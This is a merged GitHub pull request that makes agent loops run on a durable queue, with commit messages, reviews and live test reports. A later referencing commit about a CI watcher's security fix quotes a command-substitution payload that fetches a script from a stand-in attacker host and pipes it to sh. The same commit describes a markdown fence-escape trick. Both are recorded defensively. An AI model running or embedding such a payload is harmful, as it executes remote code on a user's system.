Skip to content

feat(pull): make loops terminal-driven so they can run on the durable queue (#2523) - #2526

Merged
vybe merged 2 commits into
devfrom
feature/2523-loops-terminal-driven
Sep 4, 2026
Merged

vybe merged 2 commits into
devfrom
feature/2523-loops-terminal-driven

Conversation

@obasilakis

Copy link
Copy Markdown
Contributor

Fixes #2523. Parent: #1081 (Phase 4). Sibling: #2513/#2391 did the same for cron; #2524 is the fan-out half.

What was wrong

LoopService._run was one long-lived asyncio.Task per loop: a for over iterations that awaited execute_task inside and kept every cross-iteration value — previous response, accumulated cost, consecutive failures, the #1157 fingerprints, the stop flag, the inter-run sleep — in Python locals. Two consequences:

Worth stating plainly because it changes the shape of the fix: no caller was ever blocked. POST /api/agents/{name}/loops has always returned {loop_id} immediately and start_loop backgrounded the run. The only synchronous consumer was this module reading its own dispatch.

The change

Delete the for loop. start_loop dispatches iteration 1; advance_on_terminal(execution_id) closes that iteration and decides the next. The loop is enqueue → terminal → enqueue, and the DB row is the loop.

Two new columns on agent_loops, because these were the only two pieces of runner state with no durable home: stop_requested_at (was _LoopHandle.should_stop) and next_run_at (was asyncio.sleep). Everything else was already persisted (last_response, runs_completed, failed_runs) or is derived from agent_loop_runs (_DerivedState: accumulated cost, consecutive failures, the fingerprint chain). MAX_RUNS_LIMIT is 100, so that is at most 100 rows read once per iteration.

loop joins PULL_REACHABLE_TRIGGERS.

Where the advance hangs, and why there

event_dispatch_service.spawn_task_terminal_event — the wrapper every CAS-won terminal writer already calls (push applier, pull sink, lease reaper, cleanup). Deliberately not inside emit_task_terminal_event, which returns early when no event subscription matches; nesting it there would mean the advance almost never runs.

_run_and_advance also calls it directly, because execute_task's fast-fail returns (capacity, circuit-open, ephemeral budget) write a FAILED row without reaching a terminal writer — no event fires for them, and the loop would stall on a rejected dispatch.

Both call sites are safe because db.claim_loop_advance is a CAS on runs_completed from N-1 to N. That is also the at-least-once guard the whole design needs: pull re-delivers, and a duplicate terminal must not fire iteration N+1 twice.

Restart recovery: loops resume now

db.mark_orphan_loops_interrupted() is deleted — nothing calls it, and it was pure data loss once the loop lives on its row. LoopService.reconcile_after_restart():

  • parked on next_run_at → left to the sweep;
  • open run whose execution is still non-terminal → left alone (its terminal, or cleanup_service's recovery of it, advances the loop);
  • open run whose execution already went terminal → advanced from it. Re-arming there would dispatch a second row for the same run_number, since runs_completed has not moved;
  • no open run → the dispatch was lost; re-arm by making it due now.

Nothing is marked interrupted. The status stays in the vocabulary for rows written by older builds.

Behaviour change that needs your call

delay_seconds is a park, not a sleep. The pause is agent_loops.next_run_at plus a 5s sweep in main.py, so a delayed loop holds no coroutine and survives a restart — but granularity is now the sweep period plus jitter, i.e. delay_seconds=5 can land at ~6s. It reads as a pacing knob rather than a timer, and the alternative (keeping an in-process sleep) reintroduces exactly the state this issue exists to remove. Flagged in the soak doc; say the word if it should be tighter.

The park is capped to the remaining #1156 deadline, so it can never outlive the deadline it is supposed to respect.

Stop conditions

All seven preserved with identical precedence, and test_loop_service.py still pins them:

max_runs_reached  (ends the loop before any next-iteration gate)
user_stopped > deadline_exceeded > budget_exhausted        (next-iteration gates)
stop_signal_matched > no_progress                          (post-run gates)
completed_with_errors                                      (#1167, natural-completion path only)

stop_signal stays unguarded (it wins over a pending stop); no_progress stays outranked by a pending stop or a passed deadline; the fingerprint chain still advances on SUCCESS rows only, so a tolerated failure between two identical successes does not reset it.

Three parity guards fired, and each was a real gap

Caught by the repo's structural tests, not by me — worth naming since all three are the kind of thing a rewrite silently drops:

Tests

  • tests/unit/test_loop_service.py reworked around the new shape (49 cases). The harness change is the substance: the fake task service now writes the terminal onto the execution row, because the advance reads the ROW, not the return value — a fake that only returned would exercise a path production does not have.
  • tests/unit/test_2523_loops_terminal_driven.py (14 cases) covers only what is new: idempotent advance under re-delivery, the pull path (a QUEUED dispatch does not advance), the terminal fan-out actually reaching the advance, fast-fail still advancing, the due sweep's CAS across two workers, and a re-armed queued loop getting its started_at stamped.
  • Migration smoke-tested directly on an old-shaped SQLite DB: both columns + both indexes, idempotent on re-run.

Full tests/unit green. The 21 failures in test_736_a2a_outbound_*, test_ent14_registry_url_ssrf, test_ent399_ipv6_origin and test_mcp_validator reproduce identically on unmodified dev — local IPv6/DNS environment, unrelated, verified by stashing.

Migration

0050_agent_loops_terminal_driven + the SQLite twin _migrate_agent_loops_terminal_driven. Two columns, two indexes: idx_loops_next_run (the 5s sweep would otherwise scan every loop ever created) and idx_loop_runs_execution (every execution terminal in the fleet does a point read there to ask "is this a loop run?").

What this does not do

fan_out, a2a and operator_response stay pushed — #2524 is the fan-out join plus the sync edge adapter, and a2a falls out of that adapter for free. operator_response is a scope choice, not a structural block (ent#329 records result.status as the dispatch receipt).

#2392 gets more load-bearing with every trigger moved onto pull: effect_guard still fails open when the execution id is absent, and a loop is by definition N executions.

🤖 Generated with Claude Code

https://claude.ai/code/session_019Tm7UEkd4G9KQZD5oeLRSa

obasilakis and others added 2 commits September 4, 2026 12:49
… queue (#2523)

`LoopService._run` was one long-lived `asyncio.Task` per loop: a `for` over
iterations that `await`ed `execute_task` inside and kept every
cross-iteration value — previous response, accumulated cost, consecutive
failures, the #1157 fingerprints, the stop flag, the inter-run sleep — in
Python locals. That made the loop structurally push-only (a pull-claimed row
returns no `TaskExecutionResult`), which is why `loop` sat in the stranded
half of `PULL_REACHABLE_TRIGGERS` (#2048); and it made a loop unable to
survive a restart, so `cleanup_service` flipped every in-flight loop to
`interrupted`.

No caller was ever blocked — `POST /loops` has always returned `{loop_id}`
immediately — so the only synchronous consumer was this module reading its
own dispatch. Delete the `for` loop: `start_loop` dispatches iteration 1 and
`advance_on_terminal` closes it and decides the next. The DB row is the loop.

Two new columns, the only runner state with no durable home:
`stop_requested_at` (was `_LoopHandle.should_stop`, which only worked in the
process that started the loop) and `next_run_at` (was `asyncio.sleep`).
Everything else was already persisted or is derived from `agent_loop_runs`.

The advance hangs off `spawn_task_terminal_event`, the wrapper every CAS-won
terminal writer already calls — NOT inside `emit_task_terminal_event`, which
returns early when no event subscription matches. `_run_and_advance` also
calls it directly, because `execute_task`'s fast-fail returns write a FAILED
row without reaching a terminal writer. Both are safe because
`claim_loop_advance` is a CAS on `runs_completed` N-1 → N — which is also the
at-least-once guard pull needs: a re-delivered terminal cannot double-fire
iteration N+1.

Restart recovery inverts. `mark_orphan_loops_interrupted` is deleted;
`reconcile_after_restart` leaves an in-flight run alone, advances a run whose
execution already went terminal (re-arming would dispatch a duplicate
`run_number`), and re-arms only what lost its dispatch. Loops resume.

Behaviour change: `delay_seconds` is a park + 5s sweep, not a sleep, so
granularity is the sweep period — a pacing knob, not a timer. The park is
capped to the remaining #1156 deadline.

All seven stop conditions and their precedence are unchanged and still pinned
by `test_loop_service.py`.

Three parity guards fired, each a real gap: ent#99 (SQL sort on a
mixed-format column — now filtered in SQL, ordered in Python over parsed
instants), #1804 (the raise handler is a terminal writer and must close its
activity), ent#279 (its exception text is free text into
`schedule_executions.error` and needs the scrub seam).

Migration 0050 + the SQLite twin: two columns, plus `idx_loops_next_run` (the
sweep) and `idx_loop_runs_execution` (every terminal in the fleet reads it).

Refs #1081, #2048, #2391. Fan-out + the sync edge adapter are #2524.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_019Tm7UEkd4G9KQZD5oeLRSa
Resolves two things the merge surfaced, one of which git did not report.

tests/registry.json — the usual merge-train tail conflict. Rebuilt from the
index stages (dev, deduped first-wins, plus the entries this branch adds on
top of the merge base) rather than by splicing the conflict markers, which
only shows the tail region and has silently produced duplicates before.
Result: 222 entries, all `file` keys unique, asserted before writing.

Alembic head fork — NOT reported by git, because the two revisions are
separate files. dev gained `0050_agent_canvases` (#2484, merged 12:05 UTC)
chained off `0049_execution_turn_integrity`; this branch's
`0050_agent_loops_terminal_driven` claimed the same parent. Two heads means
`alembic upgrade head` cannot resolve a singular target and applies ZERO
revisions on PostgreSQL — every revision since the fork stops arriving, not
just the forking one, and nothing fails loudly. This branch's revision has
never been applied anywhere, so it is renumbered onto a linear chain rather
than merged: `0051_agent_loops_terminal_driven`, down_revision
`0050_agent_canvases`. The doc reference in run-agent-loop.md and the mirror
comment in db/migrations.py are updated to match.

`scripts/ci/check_alembic_heads.py` now reports 52 revisions, 1 head.
This branch's CI ran at 10:50 UTC, 75 minutes before the competing revision
landed, which is why it passed schema-parity.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01HAw7x7VwACVjc58pPPi3Th
@vybe

vybe commented Sep 4, 2026

Copy link
Copy Markdown
Contributor

Unblocked — but the conflict git reported was not the important one

Merged dev in and pushed the resolution (9a08735a). Two things needed fixing; git only flagged one.

1. tests/registry.json — the conflict git did report

The usual merge-train tail conflict. Rebuilt from the index stages (dev deduped first-wins, plus the entries this branch adds over the merge base) rather than by splicing markers — the marker block only shows the tail region, and splicing has silently produced duplicate entries here before. Result: 222 entries, all file keys unique, asserted before writing.

2. Alembic head fork — silent, and the one that would have hurt

dev gained 0050_agent_canvases (#2484, merged 12:05 UTC) chained off 0049_execution_turn_integrity. This branch's 0050_agent_loops_terminal_driven claimed the same parent.

Git reported no conflict, because they are separate files and each is individually valid — the defect exists only in the relationship. But two heads means alembic upgrade head cannot resolve a singular target, so it applies zero revisions on PostgreSQL: every revision merged since the fork stops arriving, not just the forking one, and nothing fails loudly.

This branch's revision has never been applied anywhere, so it is renumbered onto a linear chain rather than collapsed with a merge revision:

0051_agent_loops_terminal_driven   down_revision = "0050_agent_canvases"

scripts/ci/check_alembic_heads.py now reports 52 revisions, 1 head. The doc reference in run-agent-loop.md and the mirror comment in db/migrations.py are updated to match.

Why CI passed anyway: this branch's schema-parity ran at 10:50 UTC, 75 minutes before the competing revision landed. No gap in the guard — it just hadn't seen it. Worth noting that only the unrelated registry.json conflict forced a rebase here; without it the PR would have read "mergeable, all checks green" and the merge would have forked the chain silently.

Local verification

tests/unit/test_2523_loops_terminal_driven.py + test_loop_service.py   64 passed
pull-pilot reach/exclusive + journey catalog                          150 passed
test_alembic_revision_id_length.py                                     54 passed
test_schema_parity.py                                                   4 passed
scripts/ci/check_alembic_heads.py                    52 revisions, 1 head — PASS
scripts/ci/check_alembic_parity.py                                       PASS

Reviewing the substance separately — the two CAS gates (claim_loop_advance on runs_completed, claim_due_loop on the exact next_run_at read) are the right shape, and the test file covers the races that matter.

@vybe vybe left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Validated via /validate-pr, and unblocked (see the resolution comment above).

Structural review of the state machine. The two CAS gates are the right shape and are the reason this is safe to run at-least-once:

  • claim_loop_advance CASes runs_completed from N-1 to N, so a re-delivered terminal (lease re-delivery, or a late callback racing the reaper) loses the UPDATE and returns without dispatching — a duplicate terminal cannot double-fire iteration N+1.
  • claim_due_loop CASes on the exact next_run_at value read, so with the sweep running in every uvicorn worker exactly one clears it and dispatches.

Both also exclude TERMINAL_STATUSES, so a late terminal for a run of an aborted loop cannot resurrect it. That is the failure this rewrite had to get right, and the test file covers it directly (test_a_terminal_for_an_already_finalized_loop_cannot_resurrect_it, test_a_second_worker_sweeping_the_same_row_dispatches_nothing, test_a_stop_that_arrived_while_parked_wins_over_the_dispatch).

Test adequacy — comfortably past the bar for a new background surface: restart-survival, cross-worker races, stop-while-parked, a broken advance never breaking the terminal, and one bad loop not stalling the sweep. Non-happy-path throughout rather than happy-path plus edge cases.

Security/packaging — clean: no secrets, emails, public IPs, host paths or mode changes; no new top-level src/backend/ package; no new env vars, so no compose/.env.example packaging gap.

Merge gate — all green on 9a08735a, including pg-migrations and schema-parity against the merged state, which is what actually confirms the single-head fix. e2e correctly skipped (no frontend changes).

@vybe
vybe merged commit 2bebbf5 into dev Sep 4, 2026
27 checks passed
vybe pushed a commit that referenced this pull request Sep 4, 2026
Same shape as the previous merge: the only conflict is
docs/memory/architecture.md, because #2526 (loops terminal-driven) edited the
monolith this branch splits.

Only one line changed on dev — the "Startup hook (#740)" sentence, rewritten to
describe LoopService.reconcile_after_restart() replacing
mark_orphan_loops_interrupted(). Re-homed into reliability.md, which owns
cleanup_service and carries that sentence after the split, rather than resolved
textually against the core.

Core unchanged at 181 lines. Branch suite: 22 passed, including
test_no_dangling_anchor_links_across_the_split.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01HAw7x7VwACVjc58pPPi3Th
@vybe
vybe deleted the feature/2523-loops-terminal-driven branch September 4, 2026 13:42
@obasilakis

Copy link
Copy Markdown
Contributor Author

Verified on a live local stack with the real aeroponics fleet

Not a fixture run — aero-scout, claim-verifier and cornelius doing actual research work against a real subscription. Backend + scheduler bind-mounted from this branch, PG migrated to head 0051, all three agents recreated as PULL_MODE_PILOT_AGENTS.

25 executions, 4 autonomous triggers, ~$7.79 of real turns. Zero pushed, zero re-deliveries, zero stuck rows.

agent    : pulled=10  pushed=0  redeliv=0  $3.02
fan_out  : pulled=11  pushed=0  redeliv=0  $1.28
loop     : pulled=3   pushed=0  redeliv=0  $2.79
schedule : pulled=1   pushed=0  redeliv=0  $0.70
open/stuck rows: 0        fan-out rows with fan_out_task_id: 11/11

Loops (#2523) — three full cycles

LOOP  status=completed  stop_reason=max_runs_reached  runs=3/3  failed=0
      run 1 $1.137 (#w1)   run 2 $0.696 (#w2)   run 3 $0.956 (#w1)

Each cycle was terminal → CAS advance → park on next_run_at → 5s sweep claims → dispatch → worker pulls:

14:17:20  run 1 terminal            runs=0 → 1
14:17:35  park stamped              next_run_at = +15s exactly (delay_seconds=15)
14:17:44  park cleared, run 2 dispatched, claimed by #w2
14:25:22  run 2 terminal            runs=1 → 2
14:25:37  park stamped
14:25:46  park cleared, run 3 dispatched, claimed by #w1
14:33:28  run 3 terminal → completed / max_runs_reached  (no 4th park)

Runs landed on #w1, #w2, #w1 — different workers — so nothing in the backend carried the loop across iterations. Cross-iteration state was durable throughout: last_response (576 chars) on the loop row fed run 2's {{previous_response}}, and each run row carried its execution_id while still running, which is the ordering the advance depends on.

The agent did real work: three sourced aeroponic-tomato papers found, fact-checked via claim-verifier, and stored to the Cornelius KB — Komosa et al. 2020 (J. Elementology), Wang et al. 2019 (Life Sci. Space Res.), and a debunk tracing the widely-cited "35% cherry tomato yield increase" back to Chandra et al. 2014.

Cron (#2391 + the #2523 scheduler poll)

14:14:00  [Backlog]  queued execution BD4O3q1… (1/50)
14:14:00  [TaskExec] Pull pilot aero-scout: queued execution BD4O3q1…
                     (trigger=schedule) for worker claim instead of pushing (#2391)
14:14:00  routers.internal: Async task completed … status=QUEUED
14:14:08  claimed by aero-scout#w3
          polls #6…#54  "still running"   ← never read as a terminal
14:23:31  completed: status=success (polled 57 times) → succeeded
row: success  worker=#w3  cost=$0.70  redeliveries=0  err=none

Zero retries, zero bogus terminals. The same table holds a clean A/B on the identical agent and schedule shape: the 14:00 fire on pre-change code is (PUSH), the 14:14 fire on this branch is claimed by #w3.

Precision, so this isn't overclaimed: the scheduler logs still running, not still queued, because it prints every 6th poll (~60s) and the queued window was ~8s. The direct evidence the row was queued is backend-side (the two lines above); the scheduler polled straight through it and finalized on the real terminal 9.5 min later.

Fan-out (#2524)

Sync, 3 subtasks — returned in 11s, completed, 3/3, input order preserved, all pulled (#w2,#w3,#w2), fan_out_task_id persisted on every row. The join fired on the in-process fast path:

14:39:13.473  last subtask completes
14:39:13.481  [FanOut] fo_Wi04… complete — waking any sync caller
14:39:13.484  [FanOut] fo_Wi04… finished: 3/3 completed, 0 failed

11ms from last terminal to the caller's aggregate. (Single uvicorn worker here, so the Future always wins; multi-worker falls to the 5s DB poll, as documented.)

max_concurrency under pull — the decision this PR records, now measured. 6 subtasks with max_concurrency=1:

peak concurrent subtasks = 2      (max_concurrency requested = 1, worker pool = 3)
t3 on #w1 overlapped t2/t4 on #w3

The semaphore did not bound execution — it self-released as each dispatch returned QUEUED, and real concurrency became the worker pool. Exactly the documented behaviour, and the reason it needed no branch. (Peak 2 rather than 3 only because #w2 never happened to claim — poll timing, not a cap.)

⚠️ An earlier 3-task run at max_concurrency=2 also showed concurrency 2, but that is not evidence either way — a small fast batch plus worker poll timing explains it equally. Only the max_concurrency=1 run is decisive.

async_mode returned in 49ms with {"status":"accepted","total":2,"results":[]}, and an immediate status poll already showed both rows running — confirming live the ordering property otherwise only unit-tested: rows exist before the caller is answered, so a status poll can never 404 a live batch. Polled to completed 2/0.

Authorization boundary:

GET /api/agents/cornelius/fan-out/<aero-scout's batch>  → 404
GET /api/agents/aero-scout/fan-out/fo_doesnotexist      → 404

Two honest caveats

  • A schedule|failed row at 14:00:59 is my own restart, not a defect — All connection attempts failed, one second before the backend came down, on the agent's pre-existing thrice-weekly-finding cron. It is the (PUSH) half of the A/B above.
  • One operational cost of pull, measured: a queued row waits up to a worker poll interval before being claimed even with capacity free — ~10s observed on an idle agent. Not backpressure.

Not covered

operator_response (needs an operator-queue answer) and the a2a inbound path were not exercised live; both are unit-tested only. Nothing here exercised a lease expiry or re-delivery — redeliveries=0 throughout.

@obasilakis

Copy link
Copy Markdown
Contributor Author

Flag-OFF parity for the loop rewrite, tested live after merge

This merged, so the un-gated half of it is on dev today. Tested it on a local stack with PULL_MODE_PILOT_AGENTS="" and every agent recreated so TRINITY_PULL_MODE was cleared — i.e. the shape of an ordinary install. Full write-up with the fan-out and A2A halves is on #2532: #2532 (comment)

Three loops, 8 runs, every row claimed_by_worker IS NULL, no row ever queued, no Pull pilot line in the backend log:

max_runs=3 delay=15s   → completed / max_runs_reached     3/3
max_runs=3 delay=30s   → completed / max_runs_reached     3/3   (backend restarted mid-loop)
max_runs=5 stop_signal → completed / stop_signal_matched  1/5
  • delay_seconds parks and the sweep dispatches on the push path too. next_run_at stamped at exactly +15.000s after each terminal, cleared by the 5s sweep 4–6s after due. Granularity is now the sweep period rather than the exact delay, as intended.
  • Cross-iteration state survives. Runs returned PUSH_LOOP_RUN 1 / 2 / 3, each incrementing the counter it read out of {{previous_response}}.
  • Restart mid-loop resumes instead of going interrupted — the change from dropping mark_orphan_loops_interrupted, confirmed live:
16:48:02  docker restart trinity-backend   (loop parked at runs=1/3, next_run_at=16:48:29)
16:48:07  backend healthy → loop still `running`, park intact
16:48:33  park cleared by the sweep on the fresh backend, run 2 dispatched
16:49:19  completed / max_runs_reached 3/3

SELECT status, count(*) FROM agent_loops afterwards: zero interrupted rows. Run 2 read run 1's response out of the durable last_response across the restart.

This is an operator-visible behaviour change on every install, not just pilots — a backend restart used to leave loops interrupted and now leaves them running. Worth a release note.

One note for #2532's rebase: this merged with the revision renamed to 0051_agent_loops_terminal_driven (because 0050_agent_canvases took the slot), so #2532's 0051_execution_fan_out_task_id still points its down_revision at the old 0050_agent_loops_terminal_driven and needs renumbering to 0052 on top of 0051_agent_loops_terminal_driven. Detail on #2532.

vybe pushed a commit that referenced this pull request Sep 8, 2026
…#2590)

* docs(ci): requirements + Invariant #3 for the pre-merge Alembic head watcher (#2533)

Requirements-first (Rule #1) for the #2533 watcher.

`requirements/infrastructure.md` gains §8.11 (HEADW-001..010): the defect is
STALENESS, not a checkout bug — `schema-parity`'s single-head guard runs
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
it tests the merge result correctly. GitHub recomputes that ref when the base
advances but does not re-trigger workflows, so #2526's last green run described
a base that no longer existed.

`architecture.md` Invariant #3 gains two sentences on the same point, amending
the "One head per version-line (#2068)" passage rather than restating the fork
mechanics already documented there.

Doc tier called explicitly: this is a NEW CAPABILITY, not Rule #4's
"bug fix: commit message only" — the deliverable is a new always-on CI service
with a new PR-facing signal and a new permission scope.

Co-Authored-By: Claude Opus 5 <[email protected]>

* ci(alembic): re-check open migration PRs against the live dev tip (#2533)

#2526 merged carrying an Alembic head fork that every pre-merge signal reported
as clean. Not a checkout bug: `schema-parity` runs the single-head guard
unconditionally and `actions/checkout` already resolves `refs/pull/N/merge`, so
the guard was testing the merge result and was correct. It was STALE — that run
happened 75 minutes before the competing revision landed on `dev`, and GitHub
recomputes the merge ref when the base advances without re-triggering workflows.

`alembic-head-watch.yml` re-runs `scripts/ci/check_alembic_heads.py` — UNCHANGED
— over an in-memory merge of each open migration PR against the live `dev` tip.

The trigger is the precise one: a push to `dev` touching
`src/backend/migrations/versions/**` is the exact moment every open migration
PR's last green run is invalidated. The 6-hourly cron is a dropped-run backstop
(and fires only from `main`, since `schedule:` runs from the default branch).

`git merge-tree --write-tree` makes no commit and touches neither the working
tree nor the index, so this workflow structurally cannot push; its exit contract
(0 clean / 1 conflict / else error) distinguishes a conflicting PR from an
infrastructure failure natively, avoiding the `--diff-filter=U` heuristic #1941
got wrong. Because the PR is never checked out and the only PR bytes on disk are
revision files read by `ast.parse`, no PR-authored code executes — which is why
this is one job rather than backend-unit-nightly.yml's three-job split.

Reporting is idempotent in both directions: a commit status (the alarm at the
merge click) plus one marker-keyed sticky comment (the diagnosis). A clean PR
never gains a sticky; `conflict` and `unknown` publish no status, because a
false all-clear on a check that never ran is the #2029 failure. Advisory by
design and never a required context — the pg-migrations precedent.

The `pull_request` arm is a dry-run self-test: `workflow_dispatch` cannot reach
a workflow that exists only on a feature branch, so without it a change here
would be unverifiable until after it merged.

Co-Authored-By: Claude Opus 5 <[email protected]>

* test(ci): guard the Alembic head watcher's load-bearing properties (#2533)

36 tests. Static guards over the workflow in the shape of
test_1941_nightly_merge_depth.py / test_2462_nightly_budget.py, with every
string assertion run against the YAML with COMMENT LINES STRIPPED — this
workflow's own header says it "cannot push" and "never checks out the PR", so a
naive substring search matches the prose and passes while the shell does the
opposite.

Pinned: the push trigger stays restricted to `dev` + the version line; the
pull_request arm stays path-filtered and DRY_RUN-gated; no write-side git
command appears anywhere; merge-tree's conflict and error arms stay
distinguished; fetch-depth stays 0 (#1941, third workflow); both version lines
reach the guard; the enterprise arm stays guarded against absence; a forked
`dev` evaluates no PR; a sweep that produces nothing fails the run.

The verdict module is EXECUTED, not grepped — it is the one path that can
publish a green tick for a check that never ran. Includes the coupling neither
file can see: the guard's real output, produced by running
check_alembic_heads.py on a reconstruction of #2526's fork, is fed to
parseGuardOutput, and the resulting fix instruction is asserted to name
`0050_agent_canvases` — what #2526 actually did.

Co-Authored-By: Claude Opus 5 <[email protected]>

* fix(ci): close the nine review findings on the Alembic head watcher (#2533)

Three independent reviews (autoplan strategy, autoplan engineering with
mutation testing, and Codex gpt-5.5 adversarially) returned "ship with
changes". These are the nine, ordered by what they could do to a run.

M1 — the self-test could not run at all. The verdict module is require()d
from the workspace, and the workspace is dev, so `alembic-head-verdict.js`
was never exercised by the arm that exists to exercise it — and on the PR
that ADDS the file the baseline step hard-failed with "missing from dev".
A second SPARSE checkout of scripts/ci into a side path supplies the PR's
copy, gated on `pull_request` AND same-repo. The python guard is never
sourced this way: it is the assertion dev enforces.

M2/M2b — `tree=$(git merge-tree … | head -1); rc=$?` read merge-tree's exit
only because pipefail survives `set +e`; without it a CONFLICTING PR was
classified clean and published a green status for a check that never ran.
Streams now go to files: no pipeline, no SIGPIPE, stderr preserved for the
warning. That also gives M2b's discriminator free — measured on git 2.50.1,
an unresolvable ref exits 1 with EMPTY stdout while a real conflict exits 1
with the merged tree's OID, so exit 1 alone answered an infrastructure fault
by telling an innocent author their PR conflicts.

M3 — the dev_head parse ran under `set -euo pipefail`; a reworded guard line
made grep exit 1 and killed the step on a healthy dev, while the `<unparsed>`
fallback written for that case never printed. `|| true`.

M4 — `cancel-in-progress: false` does not queue; GitHub evicts the pending
run. Harmless between two push runs (a later sweep subsumes an earlier one),
not harmless across events: a dry-run self-test could silence a real push
run. Group keyed on the event.

M5 — six of eight load-bearing mutations survived the suite. Added guards for
the DRY_RUN read AND its pass-through, the bot-author filter, pagination, the
merge-tree error arm (scoped to the evaluate step, not every run: block), the
500-file cap, the no-pipe rule, the symlink sweep, and the M1/M7/M8 wiring.
19/19 mutations now killed.

M7 — one try/catch wrapped the status, the comment guard and both comment
calls. A throwing status call skipped the comment entirely, so on `fork` —
the one outcome this exists to be seen on — the human saw nothing and the run
passed. Separate try/catch per signal; setFailed when neither published.

M8 — `footer()` embeds this run's URL, so `sticky.body === v.comment.body`
was never true and "skipped when unchanged" was unimplementable. Compare
through `stickyBodiesMatch`, which normalises the run id away.

M9 — `git archive` can emit symlinks and the guard read_text()s every *.py
it globs; a link at an unbounded source can hang or OOM a job holding write
scopes. Disclosure was already closed (ids and filenames only reach output);
this closes the resource path, in the workflow rather than the guard.

88 passed, 2 skipped; actionlint rc=0.

Co-Authored-By: Claude Opus 5 <[email protected]>

* docs(ci): correct HEADW-003/006/008/009 to what the watcher actually does (#2533)

M6 was a doc claiming a control that does not exist: §8.11 said extraction is
"capped (500 files / 5 MB)". Only the file cap shipped, and it bounds PARSING,
not extraction — the tree is already on disk by then and bounded by the repo.

The rest of this is the same class, caught while fixing the code:

- HEADW-003 asserted git's exit contract as "0 clean / 1 conflicts / anything
  else error". Measured on git 2.50.1, exit 1 is OVERLOADED — an unresolvable
  ref exits 1 with empty stdout, a real conflict exits 1 with the merged tree's
  OID. Records the tree OID as the discriminator, the file redirect that
  removes the pipefail dependency, and the symlink sweep.
- HEADW-006 promised a sticky "skipped when unchanged"; the footer's run URL
  made that unreachable. Records the normalised comparison, and M7's separate
  failure domains for the status and the comment.
- HEADW-008/009 said "the PR is never checked out", which stops being true
  verbatim once the self-test sources its own scripts/ci. Records the narrower
  true statement — the guard's workspace is dev only — and the same-repo gate.

Co-Authored-By: Claude Opus 5 <[email protected]>

* docs(flows): record where the Alembic head guard's freshness comes from (#2533)

/sync-feature-flows: NO new flow doc, and the precedent is written down rather
than inferred — database-migration-runner.md's Related Flows already covers this
guard and says in as many words "No flow doc of its own: the mechanism is one
stdlib script". The index's own scope is UI → API → Database → Side Effects,
which a CI workflow has none of.

So the delta is to amend that paragraph, which had become misleading: it named
`schema-parity` as the pre-merge guard without saying that run is fresh only at
PR-event time. Someone triaging a fork that shipped green would read it and
conclude the guard had failed, when it had merely aged.

Index row added anyway (the "always add a row" rule), pointing at the flow it
amends.

Noted, not acted on (Rule #2, pre-existing): Recent Updates is at 117 rows
against #1360's ~20 cap, and the index is 522 lines against the skill's 400.

Co-Authored-By: Claude Opus 5 <[email protected]>

* fix(ci): treat every value the head-watch comment renders as attacker-controlled (#2533)

/review + /cso --diff on the branch. Both reviews landed on one real defect,
in the new verdict module rather than the workflow.

`alembic-head-verdict.js` renders two values that come out of the PR's OWN
revision files — `revision = "<any string>"` and the committed filename — into
a comment authored by `github-actions[bot]`. On a public repo any fork author
picks them, and the fork arm is exactly the path that fires. Proven by
execution against the real guard before the fix:

  * `revision = "$(curl${IFS}-s${IFS}http://evil.example/x|sh)"` survived
    `parseGuardOutput`'s `\S+` capture into the `alembic merge` suggestion —
    a command the comment invites a maintainer to paste into a shell.
  * An id carrying a newline plus a triple backtick closed the hard-coded
    fence around the quoted guard output, putting attacker markdown
    ("**Reviewed and approved — safe to merge.**") into the bot's comment.

Neither is code execution on the runner — revision files are only ever
`ast.parse`d (HEADW-008) — both are the comment being made to say something
its author did not write, which is the only reason anyone trusts it.

  * `isSafeRevisionId` gates interpolation into the pasteable command on
    `^[A-Za-z0-9._-]{1,255}$` (Alembic's own width, Invariant #3); anything
    else degrades to the generic `<head-a> <head-b>` placeholder. Nothing
    diagnostic is lost — the verbatim guard output above it still names the
    real ids.
  * `fenced()` opens the quoted block with one backtick more than the longest
    run inside it. CommonMark closes on the first run >= the opening fence, so
    a hard-coded ``` is escapable by any input that contains one.

Also: the `fork` comment now says when it clears, the way `conflictBody`
already did. Without it an author who rechains and pushes sees a stale
warning until the next push to `dev` (their own push does get a fresh,
correct `schema-parity` run — it is the sticky that lags).

Tests: 3 added, all three mutation-killed, including the control that proves
an ordinary fork still gets a runnable `alembic merge 0050_a 0050_b`. Built
end-to-end through the real `check_alembic_heads.py`, since the hostile ids
have to survive its formatting before they reach the module.
57 passed (was 54); `test_2068_alembic_heads_guard.py` unchanged and green.

Docs: HEADW-011 in requirements/infrastructure.md; a learnings entry for the
class (CI that comments on a PR is a rendering surface for PR-controlled text).

Co-Authored-By: Claude Opus 5 <[email protected]>

* docs(ci): order HEADW-010 before HEADW-011 (#2533)

HEADW-011 was appended when the attacker-controlled-rendering finding
landed and took 010's slot, leaving the numbered list out of order.
No content change to either requirement.

Co-Authored-By: Claude Opus 5 <[email protected]>

---------

Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: sim <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants